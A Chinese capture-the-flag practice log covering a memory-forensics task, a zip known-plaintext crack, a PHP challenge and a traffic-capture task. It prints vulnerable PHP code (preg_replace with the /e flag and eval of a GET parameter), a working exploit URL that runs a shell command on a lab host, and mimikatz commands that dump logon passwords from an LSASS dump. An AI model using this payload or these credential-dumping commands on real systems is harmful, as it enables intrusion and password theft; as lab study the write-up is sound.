ctf刷题记录1

image.png

[HUBUCTF 2022 新生赛]vmem

开局一个zip压缩包 打开是一个 什么呢?
虚拟机快照 和一个内存取证 的 包

开局先看信息

image.png

扫描目录

直接dump下来
image.png

很抽象
png 可以直接看到flag2
flag.txt 可以直接得到第一段
flag3.txt需要提取 前一段的代码
执行之后 可以得到第三段
image.png

flag=NSSCTF{W0w_y0u_G3t_th3_P4sSWd_YOu_WanT!}

啊哒

以后不看隐写了 直接拖到 010 看格式
发现pk 一看不对劲啊 直接binwalk分离

出来zip文件

密码在属性里面 一串 字符串 需要 十六进制 转字符串

明文攻击

得到一张图片 说实话 一看这张图片我就能看到 pk
但是需要修复 直接添加 50 4b 上面去
的到压缩包
直接用明文攻击

BJDCTF2020]ZJCTF,不过如此

不想多说第一步 两个伪协议读出next.php

next.php<?php$id = $_GET['id'];
$_SESSION['id'] = $id;  function complex($re, $str){    
return preg_replace(        '/(' . $re . ')/ei',        'strtolower("\\1")',        $str    );
}
foreach ($_GET as $re => $str) {    echo complex($re, $str) . "\n";
}  function getFlag(){    
@eval ($_GET['cmd']);
}

http://f5526dc6-eadc-42fe-8be0-f06aa7495b86.node5.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=system(%27cat%20/f*%27);

这个在php中的pre_replace 和 \e正则表达的命令执行漏洞
但是我发现 只能执行一下没有符号的 命令 大概是匹配的问题
不如直接写getFlag() 之后跟上参数

attack

又是一个流量包 分析 直接看http协议 200 相应包 发现 zip压缩包
foremost 分离之后需要密码
又是一通好找 找不到
看完wp才发现

image.png

内网·1………..
mikikatz 可以直接获取密码

执行:

privilege::debug sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords full